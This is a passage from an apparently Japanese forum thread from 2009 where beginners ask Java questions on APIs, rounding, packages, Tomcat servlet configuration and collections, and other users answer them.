FieldPosition fieldPosition)
を実装したほうではなく
String DateFormat#format(Date)
のほう。
0285デフォルトの名無しさん
2009/04/21(火) 18:50:45>String DateFormat#format(Date)
DateFormatというのが見つからないのですけど。
0286デフォルトの名無しさん
2009/04/21(火) 18:52:02http://java.sun.com/javase/ja/6/docs/ja/api/
APIって↑でいいんですよね?
0287デフォルトの名無しさん
2009/04/21(火) 18:58:42そこまで行けたらブラウザ上でCtrl-Fとかで検索もできるはずだけどなー。
http://java.sun.com/javase/ja/6/docs/ja/api/java/text/DateFormat.html
SimpleDateFormatの説明からも、冒頭の継承ツリーやクラス java.text.DateFormatから継承されたメソッドのところを見ればよい。
とりあえず、メソッドを探すときは、継承を遡ってみることも必要だ。
0288デフォルトの名無しさん
2009/04/21(火) 19:07:35ありました。フィールドのほうをを見ていました。
すっきり理解できました。ありがとうございました。
0289デフォルトの名無しさん
2009/04/21(火) 20:08:11やりたいことあるのに、APIで探すのに時間がかかりすぎる
0290デフォルトの名無しさん
2009/04/21(火) 20:15:31たまにこのAPIがなにを意味するのかわからず困惑することがあるよな、Javadocは。
まあ検索すれば使い方が出てくることがあるんだけど。
Javadoc見ただけではコレどうやって使うの? っていうのが多い。
初めてJavadocみたときはまさにそうだった。抽象メソッドとか。
0291デフォルトの名無しさん
2009/04/21(火) 20:47:17それは使い方がわからないんじゃなくて設計手法を知らないんじゃないか?
0292デフォルトの名無しさん
2009/04/21(火) 20:49:28煽るだけなら他行けよ。
0293デフォルトの名無しさん
2009/04/21(火) 21:17:540294デフォルトの名無しさん
2009/04/21(火) 21:34:27当時は初心者だったからわからんかったんだよ。
抽象メソッドに書いてある説明を読んでもどうやって「実装」すればいいか
わからず当時は困惑した。
あとからデザインパターンの勉強して初めて使い方を知ったくらいだ。
今でもわかりづらいものといえば、Channel、NIO、AtomicIntegerとか。
0295デフォルトの名無しさん
2009/04/21(火) 21:38:14明解Java→解きながら学ぶ→Cのさまざまなアルゴリズム(家にあった)→・・・
で何か自動化するものを作ろうとしたが・・・API見て意味が分からなかった。
どこから何をimportすればいいのか、、が分からん。
これは「慣れ」なのか
とりあえず、java.langとjava.awtは読んでるけど・・・
0296デフォルトの名無しさん
2009/04/21(火) 22:44:170297デフォルトの名無しさん
2009/04/21(火) 23:01:55AWTやSwingなどのツールキット・フレームワークが分からないなら本。
こんなとこだろ。
0298デフォルトの名無しさん
2009/04/21(火) 23:11:400299デフォルトの名無しさん
2009/04/21(火) 23:24:230300デフォルトの名無しさん
2009/04/21(火) 23:26:37複数あるコールバックメソッドのシグネチャがそれぞれ違うんで、
java.util.EventObject を使うのが難しいのだけど
それでも EventListener を実装して意味あるん?
0301デフォルトの名無しさん
2009/04/21(火) 23:50:18ネイティブコードのexeを吐くにはどうすれば
0302デフォルトの名無しさん
2009/04/22(水) 00:02:00JavaでCコンパイラを作れ
0303デフォルトの名無しさん
2009/04/22(水) 00:38:020304デフォルトの名無しさん
2009/04/22(水) 03:03:50祖先クラスのThrowableのメッセージなしのコンストラクタへ委譲する場合
ラップされる例外の toString メソッドが使われるけど(デフォルトで 「クラス名」+「メッセージ」)、
複数チェーンすると、クラス名が延々と並んで、メッセージが分かりにくく醜くなるんだけど、
普通はどうするのかな。
常に、ラップされる例外のメッセージをそのまま、あるいは装飾などして
ラップする例外のメッセージに明示的に指定するの?
0305デフォルトの名無しさん
2009/04/22(水) 03:28:320306デフォルトの名無しさん
2009/04/22(水) 04:17:10サンプル集やレシピ集的な例示のほうがありがたいと思う。
まあクラス設計するエンジニアが一番嫌がる仕事だろうけどwww
エンジニアのドキュメント作成能力の無さが、クラス再利用を妨げてる気がする。
0307デフォルトの名無しさん
2009/04/22(水) 05:57:59オープンソースのソースコードを大量に読んで初めてひらめく。
あとは実際にアプリケーションを弄ってみて閃く。
0308デフォルトの名無しさん
2009/04/22(水) 08:28:32一般的に、同じコンテキストでも例外が伝達されるレイヤーごとに詳述的→要件的と意味が
変わるので、そのレイヤーごとの適切なメッセージを付けてゆく。例えば最深階層で「該当
レコードがありません」はより上位で「ユーザ名またはパスワードが違います」という意味を
持つかもしれない。
throws 宣言の制約で例外を置き換えなければいけない場合も多いが、それは単に仕組み上の
ものと割り切る。中間層で取り除いても良いけど、例外メッセージやスタックトレースなんて
技術屋が見るものなので読みやすさはあまり考慮しなくて良い。読みやすさのために
情報を削るのは逆に問題分析時に分析者を惑わす。
0309デフォルトの名無しさん
2009/04/22(水) 08:50:13トランザクションを別にしなきゃならない処理を行う時。
0310デフォルトの名無しさん
2009/04/22(水) 09:43:58結城浩のデザインパターン[マルチスレッド編]本でも読めばわかるんだろうか?
0311ちんこ ◆GbXlaaQNk.
2009/04/22(水) 09:54:15しかし問題は、その場合、Javaのpublicメソッドしかテスト出来ないということです。
package privateやprivateのメソッドもテストしたいという思いです。
なので、
リフレクションを使って最初にpublicメソッドが存在するかどうかを調べて、
なければリフレクションを使ってprivateのメソッドを叩くというテスティングフレームワークを作りたいのですが、難しいですか?
0312デフォルトの名無しさん
2009/04/22(水) 12:32:55public static void main (String[] args) {
Lunchtime Obj30 = new Lunchtime();
Obj30.methodA(); } //<-- ココ1
void methodA(){
methodB(); } //<-- ココ2
void methodB(){ } }
ココ1ではオブジェクトを通してmethodA()を実行するけど、
ココ2ではオブジェクトを通してないのに、非staticなmethodB()を
実行できるのは、どうしてなんでしょうか。
0313デフォルトの名無しさん
2009/04/22(水) 13:13:41つまりその文脈ではObj30のmethodBを呼んでいる。
0314デフォルトの名無しさん
2009/04/22(水) 13:39:59methodB()は、this.methodB()の略ということは、
Obj30.methodB()と表現するのと同意だと思うんですけど、
Obj30という参照変数はmainメソッド内で宣言されたローカル変数だから、
methodA()メソッドでは使えないので、thisという特殊な表現をするということで、
thisは特に必要ないときは省略可能ということなんでしょうか。
java独学3週間目ですが成長しません。挫折はしません。
0315デフォルトの名無しさん
2009/04/22(水) 13:45:37>Obj30という参照変数はmainメソッド内で宣言されたローカル変数だから、
>methodA()メソッドでは使えないので、
正解
>thisという特殊な表現をするということで、
thisってのは単純に「自分自身」を指す言葉
>thisは特に必要ないときは省略可能ということなんでしょうか。
正解
0316デフォルトの名無しさん
2009/04/22(水) 13:50:43ありがとうございました
0317デフォルトの名無しさん
2009/04/22(水) 19:25:26エクスプローラを使っている人に JFileChooser を使わせると、
本人はディレクトリをダブルクリックして移動したいのに、
リネームモードになってしまうのをよく見ます。
ダブルクリックの間隔を変更したり、Windowsの設定を取ってきたりできるんでしょうか?
0318デフォルトの名無しさん
2009/04/22(水) 23:21:24ArrayListとHashMapを組み合わせるのが一般的ですか?
それとも新たなオブジェクトを作って、インスタンス変数にまとめ、
それをArrayListに入れていく感じでしょうか
0319デフォルトの名無しさん
2009/04/22(水) 23:27:07普通にHashMap<Object,Object>でいいと思うけど。
特に何もせんでもput(1, "abc")とput("key", "abc")が両立できるよ。
0320sage
2009/04/22(水) 23:30:25どなたか教えてください
package asd.data;
class sub{
public static void main(String args[]){
sub2 cc=new sub2();}
}
class sub2{
sub2(){
System.out.println("submainのsub2");}
}
class sub3{
public static void main(String args[]){
System.out.println("sub3クラス");}
}
-----------------------------------------------------------
import asd.data.*;
class a{
public static void main(String args[]){
sub vv=new sub();
sub2 vv1=new sub2();
sub3 vv2=new sub3(); }
}
このプログラムをjava a で実行させる場合、
どのようにコンバイルしていいか、わかりません
javac -d . asd.data.*.java a.java と、コンバイルしたら
エラー出てしまいました。
0321デフォルトの名無しさん
2009/04/23(木) 00:03:26例えば、 test.java というファイルが C:\testdir というディレクトリにある場合、
test.java を実行すると "C:\testdir\test.java" というStringが表示される、といったtest.javaを作りたいのですが…
0322デフォルトの名無しさん
2009/04/23(木) 00:10:04そもそもコンバイルする必要はない
0323デフォルトの名無しさん
2009/04/23(木) 00:21:55すみません、ありがとうございます
データ構造は
data[0] ---- key1 => value1
+- key2 => value2
data[1] ---- key1 => value3
+- key2 => value4
という感じを想定してました
アクセサからは配列だけにアクセスできるようにしたいです
0324デフォルトの名無しさん
2009/04/23(木) 00:26:58なら「ArrayListとHashMapを組み合わせるのが一般的」だよ。
作りたいアプリケーションによってはLinkedListかも知れんけど、
ArrayListに悪手なしって感じで使っても害はないかと。
0325デフォルトの名無しさん
2009/04/23(木) 00:33:12なるほど、ありがとうございました
0326デフォルトの名無しさん
2009/04/23(木) 01:16:46>>322 答えになってないと思ったので、こんなんでいいか、分からないけど。
package asd.data;
class sub{
:::
C:\>javac -d . data.java
---------------------------
package asd.data;
class a{
:::
C:\>javac -d . a.java
---------------------------
C:\>java asd.data.a
0327326>>320
2009/04/23(木) 04:01:23javac -d . sub2.java
javac -d . sub3.java
javac -d . a.java
package asd.data;
import asd.data.sub2;
public class sub{
public void sub(){
sub2 cc = new sub2();
} }
package asd.data;
public class sub2{
public void sub2(){
System.out.println("submainのsub2");
} }
package asd.data;
public class sub3{
public void sub3(){
System.out.println("sub3クラス");
} }
import asd.data.sub;
import asd.data.sub2;
import asd.data.sub3;
class a{
public static void main(String args[]){
sub vv = new sub();
sub2 vv1 = new sub2();
sub3 vv2 = new sub3();
vv.sub();
vv1.sub2();
vv2.sub3();
} }
0328デフォルトの名無しさん
2009/04/23(木) 16:35:21class TestClass {
public void step1(){
int key = 1;
Object obj1 = new Object();
System.out.println("obj1=" + obj1.hashCode());
InnerClass ic = new InnerClass();
ic.setKeyValue(key, obj1);
Object obj2 = ic.getValue(key);
System.out.println("obj2=" + obj2.hashCode());
//*** このobj2にnullを代入した際に、同一(?)の参照先であるobj1にも
//*** 自動的にnullにセットする方法はありますか?
obj2 = null;
if(obj1 == null)
System.out.println("obj1 is null.");
else
System.out.println("obj1 is not null.");
}
class InnerClass {
java.util.HashMap map = new java.util.HashMap();
public void setKeyValue(int key, Object value){
map.put(key, value);
}
public Object getValue(int key){
return map.get(key);
}
}
}
0329328
2009/04/23(木) 16:40:32Object obj1 = new Object();
Object obj2 = obj1;
obj2 = null;
こうした際に、明示的に
obj1 = null:
というコードを書かずとも、
obj1もnullにする方法はありますか?
0330デフォルトの名無しさん
2009/04/23(木) 16:44:37ない。obj1とobj2は別の値だから。
代替として、例えば
Object[] array1 = { new Object() };
Object[] array2 = array1;
みたいに、参照を一段かましてやれば
array1[0] = null; したら array2[0] も null になる。
0331328
2009/04/23(木) 17:00:18なるほど、ありがとうございます。
となると、今実際に実装しているコードだと、
やはりobj1, obj2両方を明示的にnullにセットせざるをえないようです。
勉強になりました。重ねて感謝です。
0332デフォルトの名無しさん
2009/04/23(木) 17:24:590333デフォルトの名無しさん
2009/04/23(木) 18:55:45long t = date1.getTime() //tに1970年からのミリ秒の時間が入る
Date date2 = new Date(date1.getTime()); <--ココ1
System.out.println(date1);
System.out.println(date2);// 表示されるときは年月日で表示される
System.out.println(t);// 1970年からのミリ秒の時間が表示される
ココ1ではミリ秒単位の時間なのに、date2が参照したときにはか、
表示したときに、年月日で表示されるのは何故なんでしょうか。
0334デフォルトの名無しさん
2009/04/23(木) 18:59:48Java 側でリスナーオブジェクトの参照を切ったら GC の対象になってしまいますか?
0335デフォルトの名無しさん
2009/04/23(木) 19:07:140336デフォルトの名無しさん
2009/04/23(木) 19:08:37> Date オブジェクトを次の形式の String に変換します。
> dow mon dd hh:mm:ss zzz yyyy
とある。年月日しか出ていないのは変。
date2内部でもミリ秒単位で持ってるよ。
(getTime()してみればdate1と同じ値が返るはず)
printlnで出てくるのはそのクラスのtoString()メソッドの実装次第。
全部の内部情報を出してくれるとは限らない。
0337デフォルトの名無しさん
2009/04/23(木) 19:29:05DateクラスのtoString()メソッドのところに、
> Date オブジェクトを次の形式の String に変換します。
> dow mon dd hh:mm:ss zzz yyyy
と書かれているのですけど、333のどの部分でtoString()メソッドを
使用しているんでしょうか。
0338デフォルトの名無しさん
2009/04/23(木) 19:34:560339デフォルトの名無しさん
2009/04/23(木) 20:17:27printlnは引数がObject型の場合toString()の結果を使う。
>>338にもあるが、java.util.Dateとjava.sql.Dateまざってないか?
0340デフォルトの名無しさん
2009/04/23(木) 20:28:57class Study123 {
public static void main(String[] args) {
Date date1 = new Date();
long t = date1.getTime();
Date date2 = new Date(date1.getTime());
System.out.println("t = " + t);
System.out.println(date1);
System.out.println(date2); } }
コンソールには、
t = 1240485847671
Thu Apr 23 20:24:07 JST 2009
Thu Apr 23 20:24:07 JST 2009
336さんが言われるように、toString()メソッドが作用しているように
思うんですけど、どこで使用されているのかわからないです。
0341デフォルトの名無しさん
2009/04/23(木) 20:36:58使用感kwsk
0342デフォルトの名無しさん
2009/04/23(木) 20:51:56System.out.println(date1);
PrintWriter#println(Object) は String#valueOf(Object) を呼んでいて、こいつが toString() を呼び出す。
JDK純正のAPIドキュメントに、しっかり書いてあるぞ。
楽しようと思わないで自分で嫁。
0343デフォルトの名無しさん
2009/04/23(木) 21:01:54>PrintWriter#println(Object) は String#valueOf(Object) を呼んでいて
そこは読んだんですけどtoString() を呼び出すというのを探せないです。
該当のjavaプログラムを見てみないと分からないということですか。
0344デフォルトの名無しさん
2009/04/23(木) 21:06:40戻り値:
引数が null の場合は、"null" に等しい文字列。そうでない場合は、obj.toString() の値
書いてあるじゃんか。
0345デフォルトの名無しさん
2009/04/23(木) 21:12:01SunのJDKに入ってるcharsets.jarをコピーしてね
0346デフォルトの名無しさん
2009/04/23(木) 21:14:57書いてありました。申し訳ありません。
よくわかりました。ありがとうございました。
0347デフォルトの名無しさん
2009/04/23(木) 23:00:04AWTやSwingの起動が超遅い。VMの起動も遅い。
クラスライブラリの実装カバー率が高いだけ。
流石に10年かけていじってるsunのVMとは出来が違う。
0348デフォルトの名無しさん
2009/04/24(金) 08:38:08VM の速度品質は 1.2 時代ってところか。ありがとう。
0349デフォルトの名無しさん
2009/04/24(金) 09:20:44http://www.hellohiro.com/servlet.htm
このページを参考に
D:\apache-tomcat-6.0.18\webapps\examples\WEB-INF\classes
に置いてある HelloWorldExample.class に
http://localhost:8080/examples/servlet/HelloWorldExample
でアクセスしてみると 404 not found となり
上手くいきません…ほかに設定しなければいけない部分が
あるのでしょうか、それとも何か別の部分で引っかかって
いるのでしょうか?問題の切り分けができず躓いてます。
前に Java をやろうと思ったときも確か tomcat が出て
きた辺りで挫折したような…orz
0350デフォルトの名無しさん
2009/04/24(金) 09:29:21サーブレット起動サーブレットって今時はデフォルトじゃ使えないだろ。
/servlet/<サーブレットクラス名> でアクセスさせるような古いサイトは見ない方が良いかも。
WEB-INF¥web.xml に HelloWorldExample クラスが何という URL にマッピングされているか調べれ。
無いなら自分で書け。
0351デフォルトの名無しさん
2009/04/24(金) 09:48:20<!--
<servlet-mapping>
<servlet-name>invoker</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
-->
D:\apache-tomcat-6.0.18\conf下 web.xml 364行目
いけるはずっ!!
致命的:未知のサーブレット名 invoker を指定しています
<servlet>
<servlet-name>invoker</servlet-name>
<servlet-class>
org.apache.catalina.servlets.InvokerServlet
</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>
115行目。これでどうよ?
クラス org.apache.catalina.servlets.InvorkerServlet
のサーブレットは特権を与えられているので、このWeb
アプリケーションによってロードできません…
0352デフォルトの名無しさん
2009/04/24(金) 10:01:17下に
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>HelloWorldExample</servlet-name>
<servlet-class>HelloWorldExample</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloWorldExample</servlet-name>
<url-pattern>/daily/HelloWorldExample</url-pattern>
</servlet-mapping>
</web-app>
web.xml で記述してアクセスするも失敗に終わる…
0353デフォルトの名無しさん
2009/04/24(金) 10:01:49conf¥context.xml で特権を与える。
<Context privileged="true">
何でここまでしないと使えないかは自分でよく考えれ。
0354デフォルトの名無しさん
2009/04/24(金) 10:13:391. url-pattern に /daily を含めないこと
<servlet-mapping>
<servlet-name>HelloWorldExample</servlet-name>
<url-pattern>/servlet/HelloWorldExample</url-pattern>
</servlet-mapping>
2. アクセスするアドレスには /servlet/ を含めること
http://localhost:8080/daily/servlet/HelloWorldExample
3. その実態は 配下の classes ファルダと web.xml によって構成されること
D:\apache-tomcat-6.0.18\webapps\daily\WEB-INF
三点突破。解決。お騒がせしてすみませんでした。
どうもありがとうございました m(_ _)m
0355デフォルトの名無しさん
2009/04/24(金) 11:01:43現状のバージョンは1.5.0_05-b05を使用してますが
各システムの用件で今回のバージョンアップで
JRE6u11(1.6.0_11-b03)に変更する予定です。
以前までのVerではサイレントインストール時のオプション(JAVAUPDATE=0)で
Javaのコンパネの「アップデートを自動的にチェック」をデフォルトで
外すことが出来たのですが、JRE6からはそのオプションが無くなったようで
苦戦しております。
現在、考えた方法
・%systemroot%\Sun\Java\Deployment へ「deployment.config」と「deployment.properties」
を配置し、
deployment.config には
deployment.system.config=file\:C\:/WINDOWS/Sun/Java/Deployment/deployment.properties
deployment.properties には
deployment.javaws.autodownload=NEVER
deployment.javaws.autodownload.locked=
を記載し、Javaコンパネの「詳細」の「JRE自動ダウンロード」のところを「自動ダウンロードしない」
に変更する事はできました。
しかし「アップデート」の「アップデートを自動的にチェック」のチェックは外れません・・・。
・念のため、HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run からSunJavaUpdateSched を削除
台数が多いものでこのような作戦を考えたのですがいかがでしょうか。
もしスレ違いであれば申し訳ないです。
0356デフォルトの名無しさん
2009/04/24(金) 11:03:37その方法は強く非推奨であるために
デフォルトでは使えなくなってることを理解した上で使ってね。
ものすごいセキュリティホールだから。
0357デフォルトの名無しさん
2009/04/24(金) 11:09:16非推奨なのは分かっているのですが、数万台のクライアントに
適用する必要があり、業務システムは50くらいある環境なので
勝手にバージョンアップされちゃうと大問題なのです・・・。
「アップデートを自動的にチェック」のチェックを外すには
どのようにしたらいいのでしょうか・・・。
0358デフォルトの名無しさん
2009/04/24(金) 12:54:30ラップして、簡単に使えるようにした
ライブラリとかってありませんか?
FileChannel.MapModeとか、ByteBuffer.allocateDirectとか、
あれこれモードがありすぎてわけわからん。。
0359デフォルトの名無しさん
2009/04/24(金) 12:58:000360デフォルトの名無しさん
2009/04/24(金) 16:26:59}
とやるのと
int listSize = list.size();
for (int i = 0; i < listSize; i++) {
}
とやるのではどっちがJavaでは普通ですか?
0361デフォルトの名無しさん
2009/04/24(金) 16:42:58メソッドコールの若干のオーバーヘッドを嫌って下で書く人も居るが
まぁ炊飯ジャー用の組み込みでもなければ趣味の範囲。
0362デフォルトの名無しさん
2009/04/24(金) 16:45:20for(int i=0,size=list.size();i<size;i++)
0363360
2009/04/24(金) 16:57:42どうもありがとうございました
0364デフォルトの名無しさん
2009/04/24(金) 20:00:17int型変数へ代入する場合、
下記のストリームだと-15が出ないのですがなぜでしょうか?
お教え下さい。
int a = (int)(Math.random() * 31 - 15);
0365デフォルトの名無しさん
2009/04/24(金) 20:22:03intにキャストしてるタイミングかな。
-14.051235みたいな値を切り捨ててると思う。
0366デフォルトの名無しさん
2009/04/24(金) 20:24:56ありがとうございました!
int a = (int)(Math.random() * 31) -15;
0367デフォルトの名無しさん
2009/04/24(金) 20:29:21>>366ですが、
なぜ(Math.random() * 31 - 15)では-14.051235の様な数字は切り捨てで、
int a = (int)(Math.random() * 31) -15 では切り捨てられないのでしょうか?
0368デフォルトの名無しさん
2009/04/24(金) 20:41:30↓
C:\Java>javac sample.java
メーセージ↓
'javac'は内部コマンドまたは外部コマンド、操作可能なプログラムまたはバッチファイルとして認識されていません。
どうすればよろしいでしょうか。参考書籍通りにやったのですが、できません。宜しくお願いします。
0369デフォルトの名無しさん
2009/04/24(金) 20:51:06タイミングあんまり関係ない
Javaのプリミティブ型は0方向への丸め
あなたの挙げた式を計算するとdoubleで-15.0〜15.99999…になる
ここで問題なのだが、randomで0.0が出る確率ってどのくらいだと思う?
0.0でない場合は-15.0になりえないわけだから、intにキャストされた時に0に向けて丸められて-14になる
0370デフォルトの名無しさん
2009/04/24(金) 20:52:24参考書の見落とししてますので初めから読み直し
0371デフォルトの名無しさん
2009/04/24(金) 21:09:21ありがとうございます。
もう少し詳しい説明をお願いできますでしょうか…
よろしくお願いします!
0372デフォルトの名無しさん
2009/04/24(金) 21:44:47参考書の初めのほうの、PATHという単語を探すと良い
書いてあっても、4行しかなとかの参考書は結構見かけた。
0373デフォルトの名無しさん
2009/04/24(金) 21:59:44インタフェース java.util.Set から継承されたcontainsAllと、
クラス java.util.AbstractCollection から継承されたメソッド
がありますが、使い分けとか、あるのでしょうか。
もし使い分けするとしたら、どういった場合があるのでしょうか。
0374デフォルトの名無しさん
2009/04/24(金) 22:07:12Abstract*は本来作りたい実装の雛形クラス。
インタフェースはクラス構造の規格を定義するもの。
一般的にユーザが意識するのはTreeSetみたいな雛形ではない製品とその規格だけ。
0375デフォルトの名無しさん
2009/04/24(金) 22:15:08TreeSetが提供する機能だけを意識したらいいってことですか。
0376デフォルトの名無しさん
2009/04/24(金) 22:21:02左側はSetとして、TreeSetとはしない。
firstやlastを使いたいというなら、それはSortedSetの規格に沿ってるだけだから、
SortedSet<Foo> set = new TreeSet<Foo>() とするのが普通。
別にTreeSet<Foo> set と宣言しちゃいけないわけではないけどね。
0377デフォルトの名無しさん
2009/04/24(金) 22:23:55電子機器側からしたら単三電池で有りさえすれば、別にどっちでもいいみたいな。
0378デフォルトの名無しさん
2009/04/24(金) 23:12:42近頃は
for (Object obj : list) {}
とも書けたりするので侮れないよな。
こんな感じ。
void func(String[] args) {
List<String> list = new ArrayList<String>();
for (String arg : args) { list.add(arg); }
for (String arg : list) { System.out.println(arg); }
}
0379デフォルトの名無しさん
2009/04/24(金) 23:28:50Listの場合、ナニカの意思でLinkedListを使われるとsize()やget()がありえない
コストになるのでIteratorを使うべきだという主張。
http://yoshiori.org/blog/2006/12/javaiterator.php
0380デフォルトの名無しさん
2009/04/24(金) 23:40:06getは分かるがsizeはさすがにカウンタを持つと思うなぁw
0381デフォルトの名無しさん
2009/04/25(土) 05:57:54読み返すと訳の分からんことを言ってるなあ自分
>int a = (int)(Math.random() * 31 -15);
まず Math.random() * 31=0.0〜30.9… が計算される
すなわち (Math.random() * 31 -15)=((+0.0〜+30.9)-15)=-15.0〜+15.9
これをintに丸めると理論上では int a = -15〜+15 になる
・ではなぜ-15が出ないか
(Math.random() * 31 -15) が-15.0になるためにはrandom()が0.0を返さないといけない
理由は0.00000000000000001を返した場合でも-14.999999999999…となって丸めで-14にされるからだ
random()が仮に1000万分の1刻みで均等に分布した数字を返しているならば、0.0は1000万分の1の確率でしか出ない
だから一見出ないように見える。実際の刻み幅はもっと小さいし
ついでに int a = (int)(Math.random() * 31 -15); これは均等に分布しない
丸めのせいで0が多く出る(-0.999…〜0.999…=0)
0382381
2009/04/25(土) 06:13:26>int a = (int)(Math.random() * 31) -15
・なんでこれだとOKか
答えとしては「丸め処理を全て正の符号の方で処理しているから」となる
丸めは負ではceil()、正だとfloor()の処理になるので
どっちかに揃えないとルールが変わったんだよ的に値がおかしくなる
上の例で言えば0.0〜30.9…は全て切り捨て処理になるので
0〜30まで均等(厳密には30だけやや小さい)に出現するようになる
0383デフォルトの名無しさん
2009/04/25(土) 06:30:01また一から読み直します。
0384デフォルトの名無しさん
2009/04/25(土) 08:12:12クライアントごとに返事しようと思ったのですがうまくいきません。
何が問題でしょうか?
サーバーとクライアントを下に貼ります。
0385デフォルトの名無しさん
2009/04/25(土) 08:18:150386デフォルトの名無しさん
2009/04/25(土) 09:40:540387デフォルトの名無しさん
2009/04/25(土) 09:55:230388デフォルトの名無しさん
2009/04/25(土) 10:17:450389デフォルトの名無しさん
2009/04/25(土) 10:30:00players にも observers にも追加してないし、そもそも返事する処理がない。
処理が足りないことが問題。
0390デフォルトの名無しさん
2009/04/25(土) 11:05:33XmlSerializerではなくてバイナリで出力できるやつ
0391デフォルトの名無しさん
2009/04/25(土) 11:07:320392デフォルトの名無しさん
2009/04/25(土) 11:18:30シリアル化+バイナリ化。
0393391
2009/04/25(土) 11:21:430394デフォルトの名無しさん
2009/04/25(土) 12:07:25public class Main implements Serializable {
static final String SFILE = ".\\Main.out";
static final String OFILE = "Main.obj";
List<String> list = new LinkedList();
public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException {
Main obj = new Main();
obj.list.add("abc");
obj.list.add("def");
ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(SFILE));
ZipEntry ze = new ZipEntry(OFILE);
zos.putNextEntry(ze);
ObjectOutputStream oos = new ObjectOutputStream(zos);
oos.writeObject(obj);
oos.close();
ZipInputStream zis = new ZipInputStream(new FileInputStream(SFILE));
ZipEntry ent;
while ((ent = zis.getNextEntry())!=null) {
if (ent.getName().equals(OFILE)) break;
}
if (ent==null) return;
ObjectInputStream ooi = new ObjectInputStream(zis);
Main obj2 = (Main)ooi.readObject();
ooi.close();
for (String elem : obj2.list) {
System.out.println(elem);
}
}
}
0395デフォルトの名無しさん
2009/04/25(土) 12:26:460396デフォルトの名無しさん
2009/04/25(土) 12:45:04良いかと思ったんだけど、この SelectorProvider って奴は DatagramChannel や
SocketChannel とかの既製品しか対応できな作りになってんの?
0397デフォルトの名無しさん
2009/04/25(土) 12:50:56ファクトリメソッドの説明に
>システムクラスローダーの認識する jar ファイルにプロバイダクラスがインストールされていて、この jar ファイルに
>リソースディレクトリ META-INF/services 内のプロバイダ構成ファイル java.nio.channels.spi.SelectorProvider が
>含まれている場合、ファイルに指定されている最初のクラス名が使用されます。
>その後、クラスがロードされ、インスタンスが作成されます。
とあるじゃん。自分で作ればいい。
0398デフォルトの名無しさん
2009/04/25(土) 13:42:411. MySelectorProvider を作る。MySelector を返す openSelector() を実装。
2. MySelectableChannel を作る。register() で MySelector に MySelectableChannel を登録。
3. MySelectorProvider, MySelector はシステムデフォルトの SelectorProvider, Selector のラッパー実装も持つ。
で良いのかな? うーん、大げさな割にあまり実装メリットがないような。
素直に非同期コールバック時にキューへ投入 & Listener へイベント通知の形式で良いか。
どうもありがとう御座いました。
0399デフォルトの名無しさん
2009/04/25(土) 14:13:39クライアントごとにスレッドが用意されています。
Game.javaでつくったArrayListをClientThreadにパスして同じ順序の質問を
2つ以上のクライアントに送りたいのですが
Server.javaの中のstate == GENERATINGのところで行き詰っています。
Game.javaでArrayListに入れた質問や答えをServer.java もしくはClientThread.javaに
パスするのでしょうがNullPointerExceptionが出て、パスされてないようです。
どこにどうパスすると良いのでしょうか?
プログラムはここにあります。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/646.zip
0400デフォルトの名無しさん
2009/04/25(土) 15:47:58いろいろと試してやっと2つのクライアントがつないだ時に自動的にゲームスタートの
メッセージを送るところまではできました。
今つまづいているのは次の条件です。
すべてのプレイヤーは同じ問題を同じ順序で受け取るのですが
プレイヤー1が質問1に答えてその結果表示、そして次の質問に答えている間に
プレイヤ−2は質問1にいるという、ものです。
スレッドごとに質問を送って、結果も送らなければならないとおもうのですが
ClientThreadの中で質問の行程を書いてみたのですが
どうも質問が、2つのスレッドに1つの質問を送っているような状態になってるようなのです。(違うかもしれませんが)
Server.javaのstate == GENERATINGでプレイヤーのスレッドごとに
質問ゲームを始めたと思ったのですがうまくいっていません。
どこが悪いのでしょうか?
何回も質問してすみません。
ファイルは下にZIPであります。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/647.zip
0401デフォルトの名無しさん
2009/04/25(土) 16:01:260402デフォルトの名無しさん
2009/04/25(土) 16:15:00★★ Java の宿題ここで答えます Part 67 ★★
0403デフォルトの名無しさん
2009/04/25(土) 16:52:42そのブログ主は何かとアレな人だから注意
0404デフォルトの名無しさん
2009/04/25(土) 18:53:58リフレクション使ってゴリゴリ参照するのは出来そうですけど。
0405デフォルトの名無しさん
2009/04/25(土) 19:36:570406デフォルトの名無しさん
2009/04/25(土) 20:55:42海外だと記事を読むだけで1時間かかる長文のトンデモとかいるけどね
ある種の宗教じゃないかと思う
0407191
2009/04/25(土) 22:38:54ありがとうぎざいました。
みつかりました↓
http://msugai.fc2web.com/java/
このままだとしばらくして
http://www.nextindex.net/
へ飛んでしまうので、
飛ぶ前にページをダウンして
飛ばしている部分とかを削除して使っています。
0408デフォルトの名無しさん
2009/04/25(土) 22:45:53日本語化って出来ますか?
eclipse.orgのホームページに言語パックが無いみたいですが・・・
0409デフォルトの名無しさん
2009/04/25(土) 22:52:05blanco eclipse で検索
0410デフォルトの名無しさん
2009/04/25(土) 23:04:38無事、日本語化することが出来ました。
ご親切にありがとうございました。
0411デフォルトの名無しさん
2009/04/25(土) 23:21:16高校で新しくJavaを習い始めて質問されたんだが、
クラスを用いることで得られる長所や短所ってなんなんだろうか。
長所は、クラスをひとつの塊として見るからプログラムの全体像が
把握しやすくなるとか、そういうのかなと思うんだけど、
短所が思いつかない。ぶっちゃけクラス使わなきゃJavaのプログラムって
動かないだろうし、短所なんてないだろうと思うんだけども。
偉い人、教えてください。
0412デフォルトの名無しさん
2009/04/25(土) 23:54:02そう。カプセル化の到達点。
短所は、仮想テーブルなどのオーバーヘッドによる処理コストの増大。
だけど、ハードがドッグイヤーで進化してるのと、JITコンパイル技術の進歩から
それほど問題になっていない。
0413デフォルトの名無しさん
2009/04/25(土) 23:56:460414デフォルトの名無しさん
2009/04/26(日) 00:09:32詳しい御説明ありがとうございます!
0415デフォルトの名無しさん
2009/04/26(日) 00:24:44オブジェクト指向 継承 ポリモーフィズム カプセル化
キーワード並べといたからwikipediaで読んできな
0416デフォルトの名無しさん
2009/04/26(日) 00:29:300417デフォルトの名無しさん
